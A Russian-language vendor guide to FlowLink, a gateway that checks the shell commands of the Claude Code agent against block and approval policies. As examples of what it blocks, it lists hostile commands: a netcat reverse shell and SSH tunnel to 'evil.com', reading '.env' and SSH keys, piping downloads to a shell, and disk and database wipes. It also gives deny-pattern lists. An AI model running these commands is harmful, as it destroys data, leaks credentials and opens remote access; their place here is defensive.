Защита Claude Code с помощью FlowLink
Полное руководство по защите серверов от команд AI-агента Claude Code через FlowLink MCP-gateway
~10 min read
Обзор
Claude Code — мощный CLI-агент от Anthropic, который выполняет shell-команды от вашего имени. За одну сессию он может запустить 50–100+ команд — и не всегда безопасных.
FlowLink работает как MCP-сервер (gateway) между Claude Code и вашими серверами. Каждая команда проходит через 7-уровневый Shield: анализ паттернов, оценка риска, проверка политик — до того, как команда достигнет оболочки.
Реальные риски без защиты:
rm -rf /— удаление критических файловDROP TABLE users— уничтожение базы данныхcat .env | curl ...— утечка секретовchmod 777 /var/www— нарушение прав доступаssh -R 8080:localhost:80— скрытый reverse-туннель
Установка
Шаг 1. Установите агент FlowLink на сервер
Выполните на каждом сервере, который Claude Code будет контролировать:
1# Установка агента (требуется root)2curl -fsSL https://flowlink.flow-masters.ru/install.sh | sh34# Проверка статуса5flowlink status
Шаг 2. Создайте API-ключ
Перейдите в Dashboard - API Keys и создайте ключ с нужными scopes.
Рекомендуемые scopes для Claude Code:
Шаг 3. Подключите FlowLink к Claude Code
Выберите один из способов:
Вариант A — через CLI (рекомендуется)
1claude mcp add flowlink \2 --url "https://flowlink.flow-masters.ru/mcp" \3 --header "Authorization: Bearer flk_live_YOUR_API_KEY"
Вариант B — через файл конфигурации
Файл: ~/.claude/settings.json
1{2 "mcpServers": {3 "flowlink": {4 "url": "https://flowlink.flow-masters.ru/mcp",5 "headers": {6 "Authorization": "Bearer flk_live_YOUR_API_KEY"7 }8 }9 }10}
Шаг 4. Проверьте подключение
1# Перезапустите Claude Code и запросите:2claude "List my FlowLink protected servers"34# Ожидаемый результат: список агентов, подключённых к relay
Конфигурация
Полный пример конфигурации Claude Code
1{2 "mcpServers": {3 "flowlink": {4 "url": "https://flowlink.flow-masters.ru/mcp",5 "headers": {6 "Authorization": "Bearer flk_live_YOUR_API_KEY"7 }8 }9 },10 "permissions": {11 "allow": [12 "Bash(git:*)",13 "Bash(ls:*)",14 "Bash(cat:*)",15 "mcp__flowlink__*"16 ],17 "deny": [18 "Bash(rm -rf:*)",19 "Bash(sudo:*)"20 ]21 }22}
Claude Code native permissions работают вместе с FlowLink — это двухуровневая защита.
Переменные окружения
| Variable | Описание | По умолчанию |
|---|---|---|
FLOWLINK_API_KEY | API-ключ для авторизации | Обязательна |
FLOWLINK_ENDPOINT | URL relay-сервера | https://flowlink.flow-masters.ru/mcp |
FLOWLINK_DRY_RUN | Включить режим dry run | false |
FLOWLINK_APPROVAL_MODE | auto / soft_ask / hard_ask | auto |
FLOWLINK_LOG_LEVEL | debug / info / warn / error | info |
Self-hosted vs Cloud
Cloud (по умолчанию)
- Нет установки relay-сервера
- SaaS-панель с графиками и уведомлениями
- Автоматические обновления
- Подходит для большинства команд
1"url": "https://flowlink.flow-masters.ru/mcp"
Self-hosted
- Полный контроль над данными
- Работа внутри VPN / air-gapped сред
- Docker Compose или Kubernetes
- Требуется собственный relay
1"url": "https://flowlink.your-company.internal/mcp"
Как это работает
Архитектура запроса:
- 1.Claude решает выполнить команду
rm -rf /var/log/app - 2.Команда отправляется через MCP-протокол в FlowLink relay
- 3.FlowLink Agent запускает 7-уровневый Shield: анализ паттернов, контекст, risk score95/100, категория«File Destruction»
- 4.Policy Engine проверяет правило
block_destructive- DENY - 5.Команда заблокирована. Claude получает ответ:
"Command blocked by security policy" - 6.Инцидент записывается в Audit Log. Вы получаете Telegram / webhook уведомление.
Время анализа: <1 мс. Задержка для безопасных команд незаметна.
Что блокируется
FlowLink автоматически обнаруживает и блокирует опасные команды, которые Claude Code может попытаться выполнить. Вот основные категории:
Деструктивные файловые операции
rm -rf //rm -rf /*mkfs.ext4 /dev/sda1dd if=/dev/zero of=/dev/sdashred -vfz -n 5 /disk
Уничтожение базы данных
DROP TABLE usersDROP DATABASE productionTRUNCATE TABLE ordersDELETE FROM users WHERE 1=1
Повышение привилегий
sudo rm -rf /chmod 777 /etc/shadowchown root:root ...useradd -G sudo ...
Удалённое выполнение кода
curl http://... | shwget -qO- ... | bashpip install http://untrusted-pkgnpm install --global http://...
Доступ к учётным данным
cat .env/cat ~/.ssh/id_rsaaws s3 cp .env s3://...gcloud secrets access ...vault read secret/db-password
Сетевая эксфильтрация
ssh -R 8080:localhost:80 evil.comnc -e /bin/bash evil.com 4444scp -r /data evil@remote:/rsync --remove-source-files ...
Dry Run - тестовый режим
Dry Run позволяет увидеть, что бы сделал Claude Code, не выполняя реальные команды. Идеально для первой настройки политик.
Включение Dry Run
1# Через переменную окружения2export FLOWLINK_DRY_RUN=true3claude "Deploy the application to production"
Что происходит в Dry Run:
- Каждая команда Claude анализируется через Shield
- Risk score и политика отображаются в логах
- Команда НЕ выполняется на сервере
- Вместо реального результата Claude получает симуляцию
- Все события записываются в Audit Log
Типичный сценарий:
Вы включаете Dry Run, просите Claude выполнить привычный рабочий сценарий (деплой, миграция, отладка). В Dashboard вы видите полный лог того, что бы произошло, и настраиваете политики до включения реального режима.
Approvals - подтверждение операций
Для чувствительных операций вы можете потребовать ручное подтверждение. Claude Code будет ждать вашего ответа перед выполнением.
Auto
Безопасные команды выполняются автоматически. Только блокировка опасных.
Рекомендуется для dev/stage
1approval_mode: auto
Soft Ask
Подозрительные команды ждут подтверждения. Если не ответили за 5 мин - выполняются.
Рекомендуется для production
1approval_mode: soft_ask2timeout: 300s
Hard Ask
Все подозрительные команды требуют явного подтверждения. Без ответа - блок.
Рекомендуется для critical серверов
1approval_mode: hard_ask2timeout: 0 # ждать бесконечно
Пример: политика с approval для Claude Code
1# Правило: claude_approval_required2action: soft_ask3timeout: 300s4notify:5 - telegram6 - webhook7patterns:8 - "systemctl restart"9 - "docker restart"10 - "kubectl rollout restart"11 - "ALTER TABLE"12 - "CREATE INDEX"
Claude получит уведомление, что команда ожидает подтверждения. Вы увидите запрос в Telegram.
Примеры из практики
01. Деплой на production
Вы просите Claude: Задеплой новую версию на production-сервер. Claude планирует 12 команд.
git pull origin main- autonpm ci --production- autonpm run build- autosystemctl restart myapp- soft_ask, ждёт подтвержденияrm -rf /var/log/myapp/*- BLOCKED02. Отладка сервера
Вы просите Claude: Найди причину высокой нагрузки CPU на сервере.
ps aux --sort=-%cpu | head -20- autodocker stats --no-stream- autocat /var/log/syslog | tail -50- autokill -9 12345- hard_ask, требует подтверждения03. Миграция базы данных
Вы просите Claude: Примени миграцию для добавления колонки email в таблицу users.
psql -c "\\d users"- auto (read-only)psql -c "SELECT COUNT(*) FROM users"- auto (read-only)ALTER TABLE users ADD COLUMN email VARCHAR(255)- soft_ask, DDL операцияCREATE INDEX idx_users_email ON users(email)- soft_askDROP TABLE users- BLOCKED навсегдаРекомендуемые политики для Claude Code
Создайте эти правила в Dashboard - Policies:
Блокировать - деструктивные команды
1# Правило: block_destructive2action: deny3patterns:4 - "rm -rf /"5 - "rm -rf /*"6 - "mkfs.*"7 - "dd if=/dev/zero"8 - "DROP TABLE"9 - "DROP DATABASE"10 - "TRUNCATE TABLE"
Эти команды никогда не должны выполняться AI-агентом.
Требовать подтверждения - опасные операции
1# Правило: approval_required2action: soft_ask3patterns:4 - "chmod 777"5 - "chown root"6 - "sudo rm"7 - "ssh -R"8 - "scp .*@"9 - "curl.*|.*sh"10 - "wget.*|.*sh"
Claude сможет выполнить, но вы получите уведомление и сможете отклонить.
Разрешить - безопасные команды
1# Правило: allow_safe2action: allow3patterns:4 - "git status"5 - "git log"6 - "git diff"7 - "ls"8 - "cat *.log"9 - "docker ps"10 - "kubectl get pods"11 - "ps aux"
Команды только для чтения - безопасны для авто-выполнения.
Решение проблем
Claude Code не видит MCP-инструменты FlowLink
Причина:
- Неверный формат файла настроек
- API-ключ не прошёл валидацию
Решение:
1# Проверьте конфигурацию2claude mcp list34# Убедитесь, что MCP JSON валиден5cat ~/.claude/settings.json | python3 -m json.tool67# Проверьте API-ключ8curl -H "Authorization: Bearer flk_live_YOUR_API_KEY" \9 https://flowlink.flow-masters.ru/mcp/health
Все команды блокируются
Причина:
- Нет политик allow - по умолчанию всё блокируется
- Регулярные выражения в политиках слишком широкие
Решение:
1# Проверьте логи FlowLink2flowlink logs --tail 5034# Посмотрите, какая политика сработала5flowlink audit --last 10
Claude зависает на команде
Причина:
- Режим hard_ask без настройки уведомлений - Claude ждёт бесконечно
- Таймаут соединения с relay-сервером
Решение:
1# Настройте таймаут для approval2export FLOWLINK_APPROVAL_MODE=soft_ask3export FLOWLINK_APPROVAL_TIMEOUT=300
Высокая задержка при выполнении команд
Причина:
- Сервер relay далеко от вашего расположения
- Слишком много политик с regex - используйте простые паттерны
Решение:
1# Измерьте задержку до relay2curl -w "Connect: %%{time_connect}s Total: %%{time_total}s" \3 -o /dev/null -s https://flowlink.flow-masters.ru/mcp/health
Клавиша /mcp в Claude Code не показывает FlowLink
Причина:
- Файл настроек находится не в том месте
- Claude Code не был перезапущен после изменения конфигурации
Решение:
1# Правильные пути для конфигурации:2# ~/.claude/settings.json (глобально)3# .claude/settings.json (в проекте)45# Перезапустите Claude Code6# Нажмите /mcp и убедитесь, что flowlink-relay в списке
FlowLink vs альтернативы
| Claude Permissions | Falco | Tetragon | FlowLink | |
|---|---|---|---|---|
| Фокус | Claude-команды | Контейнеры | eBPF security | AI-агенты / syscalls |
| MCP-осведомлённость | Частичная | Нет | Нет | Да |
| Approval workflow | Только CLI prompt | Нет | Нет | Telegram + API |
| 7-уровневый pipeline | Нет | Нет | Нет | Да |
| Настройка | Встроена | Сложная | Средняя | 1 строка |
FlowLink дополняет Claude Code Permissions, а не заменяет их. Используйте оба слоя для максимальной защиты.